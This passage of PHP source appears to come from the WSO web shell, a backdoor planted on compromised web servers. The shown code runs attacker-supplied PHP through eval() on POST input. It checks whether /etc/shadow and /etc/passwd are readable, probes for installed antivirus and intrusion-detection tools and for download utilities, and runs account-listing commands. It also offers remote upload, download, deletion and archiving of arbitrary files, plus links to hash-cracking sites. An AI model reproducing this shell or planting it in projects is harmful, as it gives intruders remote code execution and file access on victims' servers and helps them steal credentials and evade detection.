: \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\n\r\nfunction wsoPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\r\n\telse\r\n\t\treturn \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\r\n}\r\n\r\nif(!function_exists("scandir")) {\r\n\tfunction scandir($dir) {\r\n\t\t$dh = opendir($dir);\r\n\t\twhile (false !== ($filename = readdir($dh)))\r\n \t\t$files[] = $filename;\r\n\t\treturn $files;\r\n\t}\r\n}\r\n\r\nfunction wsoWhich($p) {\r\n\t$path = wsoEx(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\nfunction actionSecInfo() {\r\n\twsoHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction wsoSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\r\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n if(function_exists(\'apache_get_modules\'))\r\n wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n\t\twsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n\t\twsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"etc\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n\t\twsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n\t\twsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n\t\tif(!$GLOBALS[\'safe_mode\']) {\r\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n\t\t\techo \'<br>\';\r\n\t\t\t$temp=array();\r\n\t\t\tforeach ($userful as $item)\r\n\t\t\t\tif(wsoWhich($item))\r\n $temp[] = $item;\r\n\t\t\twsoSecParam(\'Userful\', implode(\', \',$temp));\r\n\t\t\t$temp=array();\r\n\t\t\tforeach ($danger as $item)\r\n\t\t\t\tif(wsoWhich($item))\r\n $temp[] = $item;\r\n\t\t\twsoSecParam(\'Danger\', implode(\', \',$temp));\r\n\t\t\t$temp=array();\r\n\t\t\tforeach ($downloaders as $item)\r\n\t\t\t\tif(wsoWhich($item))\r\n $temp[] = $item;\r\n\t\t\twsoSecParam(\'Downloaders\', implode(\', \',$temp));\r\n\t\t\techo \'<br/>\';\r\n wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\r\n\t\t\twsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t}\r\n\t} else {\r\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\r\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\r\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\r\n\t}\r\n\techo \'</div>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionPhp() {\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = true;\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n\twsoHeader();\r\n\tif(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\r\n\t\techo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';\r\n\t\tob_start();\r\n\t\tphpinfo();\r\n\t\t$tmp = ob_get_clean();\r\n $tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\n\t\techo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n\t}\r\n\tif(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false;\r\n echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\\\'Php\\\',null,this.code.value);}else{g(\\\'Php\\\',null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\r\n\techo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\techo htmlspecialchars(ob_get_clean());\r\n\t}\r\n\techo \'</pre></div>\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionFilesMan() {\r\n\twsoHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\r\n\t\t\t\t\techo "Can\'t upload file!";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh = opendir($path);\r\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$item = $path.$item;\r\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($item);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($item);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($item);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n if($f == \'..\')\r\n continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_SESSION[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_SESSION[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_SESSION[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_SESSION[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_SESSION[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_SESSION[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_SESSION[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n $zip = new ZipArchive();\r\n if ($zip->open($_POST[\'p2\'], 1)) {\r\n chdir($_SESSION[\'c\']);\r\n foreach($_SESSION[\'f\'] as $f) {\r\n if($f == \'..\')\r\n continue;\r\n if(@is_file($_SESSION[\'c\'].$f))\r\n $zip->addFile($_SESSION[\'c\'].$f, $f);\r\n elseif(@is_dir($_SESSION[\'c\'].$f)) {\r\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));\r\n foreach ($iterator as $key=>$value) {\r\n $zip->addFile(realpath($key), $key);\r\n }\r\n }\r\n }\r\n chdir($GLOBALS[\'cwd\']);\r\n $zip->close();\r\n }\r\n }\r\n\t\t\t\t} elseif($_SESSION[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n $zip = new ZipArchive();\r\n foreach($_SESSION[\'f\'] as $f) {\r\n if($zip->open($_SESSION[\'c\'].$f)) {\r\n $zip->extractTo($GLOBALS[\'cwd\']);\r\n $zip->close();\r\n }\r\n }\r\n }\r\n\t\t\t\t} elseif($_SESSION[\'act\'] == \'tar\') {\r\n chdir($_SESSION[\'c\']);\r\n $_SESSION[\'f\'] = array_map(\'escapeshellarg\', $_SESSION[\'f\']);\r\n wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_SESSION[\'f\']));\r\n chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_SESSION[\'f\']);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\t$_SESSION[\'act\'] = @$_POST[\'p1\'];\r\n\t\t\t\t\t$_SESSION[\'f\'] = @$_POST[\'f\'];\r\n\t\t\t\t\tforeach($_SESSION[\'f\'] as $k => $f)\r\n\t\t\t\t\t\t$_SESSION[\'f\'][$k] = urldecode($f);\r\n\t\t\t\t\t$_SESSION[\'c\'] = @$_POST[\'c\'];\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction wsoCmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "wsoCmp");\r\n\tusort($dirs, "wsoCmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" title=\' . $f[\'link\'] . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr><td colspan=7>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n if(class_exists(\'ZipArchive\'))\r\n echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\r\n echo "<option value=\'tar\'>Compress (tar.gz)</option>";\r\n if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\']))\r\n echo "<option value=\'paste\'>Paste / Compress</option>";\r\n echo "</select>&nbsp;";\r\n if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\']) && (($_SESSION[\'act\'] == \'zip\') || ($_SESSION[\'act\'] == \'tar\')))\r\n echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_SESSION[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionStringTools() {\r\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\r\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\r\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\r\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n\t$stringTools = array(\r\n\t\t\'Base64 encode\' => \'base64_encode\',\r\n\t\t\'Base64 decode\' => \'base64_decode\',\r\n\t\t\'Url encode\' => \'urlencode\',\r\n\t\t\'Url decode\' => \'urldecode\',\r\n\t\t\'Full urlencode\' => \'full_urlencode\',\r\n\t\t\'md5 hash\' => \'md5\',\r\n\t\t\'sha1 hash\' => \'sha1\',\r\n\t\t\'crypt\' => \'crypt\',\r\n\t\t\'CRC32\' => \'crc32\',\r\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\r\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\r\n\t\t\'HEX to DEC\' => \'hexdec\',\r\n\t\t\'HEX to BIN\' => \'hex2bin\',\r\n\t\t\'DEC to HEX\' => \'dechex\',\r\n\t\t\'DEC to BIN\' => \'decbin\',\r\n\t\t\'BIN to HEX\' => \'binhex\',\r\n\t\t\'BIN to DEC\' => \'bindec\',\r\n\t\t\'String to lower case\' => \'strtolower\',\r\n\t\t\'String to upper case\' => \'strtoupper\',\r\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\r\n\t\t\'String length\' => \'strlen\',\r\n\t);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\r\n\t\tob_start();\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\r\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\r\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n\twsoHeader();\r\n\techo \'<h1>String conversions</h1><div class=content>\';\r\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";\r\n\tforeach($stringTools as $k => $v)\r\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\r\n\t\techo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\r\n\t}\r\n\techo"</pre></div><br><h1>Search text in files:</h1><div class=content>\r\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\r\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>\r\n\t\t\t</table></form>";\r\n\r\n\tfunction wsoRecursiveGlob($path) {\r\n\t\tif(substr($path, -1) != \'/\')\r\n\t\t\t$path.=\'/\';\r\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\r\n\t\tif(is_array($paths)&&@count($paths)) {\r\n\t\t\tforeach($paths as $item) {\r\n\t\t\t\tif(@is_dir($item)){\r\n\t\t\t\t\tif($path!=$item)\r\n\t\t\t\t\t\twsoRecursiveGlob($item);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif(@strpos(@file_get_contents($item), @$_POST[\'p2\'])!==false)\r\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($item)."\\", \\"view\\")\'>".htmlspecialchars($item)."</a><br>";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(@$_POST[\'p3\'])\r\n\t\twsoRecursiveGlob($_POST[\'c\']);\r\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\r\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\r\n\t\t\t<input type=\'button\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'button\' value=\'milw0rm.com\' onclick=\\"document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'button\' value=\'hashcracking.info\' onclick=\\"document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'button\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'button\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\r\n\t\t</form></div>";\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\twsoHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\twsoFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> 